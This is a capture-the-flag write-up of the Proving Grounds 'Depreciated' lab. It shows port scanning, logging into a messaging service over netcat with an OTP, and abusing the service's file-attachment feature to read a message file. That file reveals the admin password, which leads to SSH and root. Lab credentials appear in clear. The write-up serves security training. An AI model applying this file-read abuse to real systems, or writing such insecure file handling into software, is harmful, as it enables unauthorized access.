Target: Linux

Proving Grounds: Depreciated

This lab demonstrates exploiting a GraphQL service to enumerate user accounts and retrieve an OTP (One-Time Password) to access a CLI messaging service. Learners will leverage the message creation functionality to overwrite a critical file, gaining admin access. This leads to retrieving the root password from a secure message, allowing SSH access as root. The lab emphasizes API enumeration, file manipulation, and privilege escalation via insecure application logic.

Proving GroundsAuthorized lab writeupCybersecurity portfolio

Authorized-lab note: This writeup documents activity performed exclusively in an authorized Offensive Security Proving Grounds lab. It is shared for educational and portfolio purposes.

By abusing GraphQL and a Python messaging service, access will be gained to the target system, allowing for escalation to root privileges. This lab focuses on exploiting API vulnerabilities and privilege escalation techniques.

Scenario

This lab demonstrates exploiting a GraphQL service to enumerate user accounts and retrieve an OTP (One-Time Password) to access a CLI messaging service. Learners will leverage the message creation functionality to overwrite a critical file, gaining admin access. This leads to retrieving the root password from a secure message, allowing SSH access as root. The lab emphasizes API enumeration, file manipulation, and privilege escalation via insecure application logic.

Learning objectives

After completion of this lab, learners will be able to:

Enumeration

This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.

# Retrieve and inspect the web response from the target.

└─$ curl http://192.168.160.170                                                                                
.
.
.
        <!--commenting the code until we fix the whole application-->
   <!--<div class="row">-->
      <!--<div class="col-lg-4 col-sm-offset-2">-->
         <!--<div class="panel panel-primary">-->
            <!--<div class="panel-heading">Login</div>-->
            <!--<div class="panel-body">-->
               <!--<div class="col-md-6">-->
                       <!--<form method="post" action="http://127.0.0.1:8433/graphql?query={login(username:$uname, password:$pswd)}" enctype="multipart/form-data">-->
                     <!--<div class="form-group">-->
                        <!--<label for="uname">Username</label>-->
                        <!--<input type="text" placeholder="username" name="uname" class="form-control"><br>-->
                        <!--<label for="pswd">Password</label>-->
                        <!--<input type="text" placeholder="password" name="pswd" class="form-control"><br>-->
                        <!--<button class="btn btn-primary" type="submit">Submit</button>-->
                     <!--</div>-->
                  <!--</form>-->
               <!--</div>-->
            <!--</div>-->
            <!--<div class="panel-footer">-->
               <!--<center>-->
                  <!--<p style="font-size:2em;color: black">    </p>-->
               <!--</center>-->
            <!--</div>-->
         <!--</div>-->
      <!--</div>-->
   <!--</div>-->
</body>
</body>
</html>

This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.

# Create the network connection required for this lab step.

└─$ nc -v 192.168.160.170 5132
192.168.160.170: inverse host lookup failed: Unknown host
(UNKNOWN) [192.168.160.170] 5132 (?) open
Enter Username: peter
Enter OTP: hkE63InnazVhV98q
# Confirm the identity of the current session.

$ whoami
# Execute the next evidence-gathering step in the authorized lab.

$ help

list    list messages
create  create new message
exit    exit the messaging system
read    read the message with given id
update  update the message with given id
help    Show this help
                    
# Execute the next evidence-gathering step in the authorized lab.

$ list
#2345           Improve the ticketing CLI syst
#1893           Staging keeps on crashing beca
#2347           [critical] The ticketing websi
#1277           Update the MySQL version, it's
#234            Hey, Please change your passwo
#0              Hey, Seriously this is getting
# Execute the next evidence-gathering step in the authorized lab.

$ 1277
# Execute the next evidence-gathering step in the authorized lab.

$ read #234
Problem reading the message, make sure you enter the correct message id
# Execute the next evidence-gathering step in the authorized lab.

$ read 234
Message No: #234

Hey, Please change your password ASAP. You know the password policy, using weak password isn\'t allowed. And peter@safe is very weak, use https://password.kaspersky.com/ to check the strength of the password.

Attachment: none
$

This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.

# This code block contains the helper code used for the documented lab step.

import json
import os
import random
#TODO: Need to fix all the weird logics and bugs
try:
    with open("/opt/depreciated/messaging/msg.json", "r") as f:
        MESSAGES = json.load(f)
except json.decoder.JSONDecodeError:
    with open("/opt/depreciated/messaging/msg.json.bak", "r") as f:
        MESSAGES = json.load(f)

def create_message(user):
    for_ = input("for: ")
    description = input("Description: ")
    num = random.randint(1000, 9999)
    author = user
    attachment = input("File: ")

    if attachment and attachment != "none" and os.path.exists(attachment):
        with open(attachment, 'r') as f:
            data = f.read()
        basename = '/opt/depreciated/' + os.path.basename(attachment)

        with open(basename, 'w') as f:
            f.write(data)
    else:
        attachment = "none"
    msg_info = {'id': num, 'author': author, 'description': description, 'for': for_, 'attachment': attachment}
    MESSAGES.append(msg_info)

    with open("/opt/depreciated/messaging/msg.json", 'w') as f:
         json.dump(MESSAGES, f)
...

This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.

# Create the network connection required for this lab step.

└─$ nc -v 192.168.160.170 5132   
192.168.160.170: inverse host lookup failed: Unknown host
(UNKNOWN) [192.168.160.170] 5132 (?) open
Enter Username: peter
Enter OTP: hkE63InnazVhV98q
# Execute the next evidence-gathering step in the authorized lab.

$ create
for: peter
Description: test
File: /opt/depreciated/messaging/msg.json
$

This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.

# The output contains credential-related evidence recovered during the lab.

[
...
                "id": 234,
                "author": "jason",
                "for": "peter",
                "description": "Hey, Please change your password ASAP. You know the password policy, using weak password isn't allowed. And peter@safe is very weak, use https://password.kaspersky.com/ to check the strength of the password."
        },
        {
                "id": 0,
                "author": "admin",
                "for": "another admin",
                "description": "Hey, Seriously this is getting out of hand. Your new password is 9>XsS+&=Zn#AS9-@ Please don't forget your password this time. And make sure to change this once you are in."
        }

]

Initial Access

This block uses the identified entry point to obtain or validate an initial foothold. The resulting response or session confirms whether access was achieved.

# The output contains credential-related evidence recovered during the lab.

22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 c1:99:4b:95:22:25:ed:0f:85:20:d3:63:b4:48:bb:cf (RSA)
|   256 0f:44:8b:ad:ad:95:b8:22:6a:f0:36:ac:19:d0:0e:f3 (ECDSA)
|_  256 32:e1:2a:6c:cc:7c:e6:3e:23:f4:80:8d:33:ce:9b:3a (ED25519)
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Under Maintainence
|_http-server-header: nginx/1.18.0 (Ubuntu)
5132/tcp open  unknown
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, NULL: 
|     Enter Username:
|   GenericLines, GetRequest, HTTPOptions, RTSPRequest: 
|     Enter Username: Enter OTP: Incorrect username or password
|   Help: 
|     Enter Username: Enter OTP:
|   RPCCheck: 
|     Enter Username: Traceback (most recent call last):
|     File "/opt/depreciated/messaging/messages.py", line 100, in <module>
|     main()
|     File "/opt/depreciated/messaging/messages.py", line 82, in main
|     username = input("Enter Username: ")
|     File "/usr/lib/python3.8/codecs.py", line 322, in decode
|     (result, consumed) = self._buffer_decode(data, self.errors, final)
|     UnicodeDecodeError: 'utf-8' codec can't decode byte 0x80 in position 0: invalid start byte
|   SSLSessionReq: 
|     Enter Username: Traceback (most recent call last):
|     File "/opt/depreciated/messaging/messages.py", line 100, in <module>
|     main()
|     File "/opt/depreciated/messaging/messages.py", line 82, in main
|     username = input("Enter Username: ")
|     File "/usr/lib/python3.8/codecs.py", line 322, in decode
|     (result, consumed) = self._buffer_decode(data, self.errors, final)
|     UnicodeDecodeError: 'utf-8' codec can't decode byte 0xd7 in position 13: invalid continuation byte
|   TerminalServerCookie: 
|     Enter Username: Traceback (most recent call last):
|     File "/opt/depreciated/messaging/messages.py", line 100, in <module>
|     main()
|     File "/opt/depreciated/messaging/messages.py", line 82, in main
|     username = input("Enter Username: ")
|     File "/usr/lib/python3.8/codecs.py", line 322, in decode
|     (result, consumed) = self._buffer_decode(data, self.errors, final)
|_    UnicodeDecodeError: 'utf-8' codec can't decode byte 0xe0 in position 5: invalid continuation byte
8433/tcp open  http    Werkzeug httpd 2.0.2 (Python 3.8.10)
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
|_http-server-header: Werkzeug/2.0.2 Python/3.8.10
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-

This block uses the identified entry point to obtain or validate an initial foothold. The resulting response or session confirms whether access was achieved.

# Use the recovered credentials to establish a remote session.

└─$ ssh peter@192.168.160.170       
hostkeys_find_by_key_hostfile: hostkeys_foreach failed for /home/kali/.ssh/known_hosts2: Permission denied
The authenticity of host '192.168.160.170 (192.168.160.170)' can't be established.

peter@192.168.160.170's password: 


# Confirm the identity of the current session.

$ whoami
peter
$

Privilege Escalation

This block investigates or exercises a privilege-escalation path. The output is used to confirm elevated permissions or the conditions required to obtain them.

# The output records the result observed during this authorized lab step.

## Running linpeas we find interesting file at /opt/depreciated

╔══════════╣ Running processes (cleaned)

...
root      195702  0.0  0.9  16360  9856 ?        Ss   21:58   0:00  _ python3 /opt/depreciated/messaging/messages.py
...

This block investigates or exercises a privilege-escalation path. The output is used to confirm elevated permissions or the conditions required to obtain them.

# The output confirms the effective user and privilege level of the current session.

Password: 
root@depreciated:/home/peter# id
uid=0(root) gid=0(root) groups=0(root)

Takeaways

This lab reinforced the value of methodical enumeration, evidence-driven hypothesis testing, and validating each access-control boundary in an authorized environment.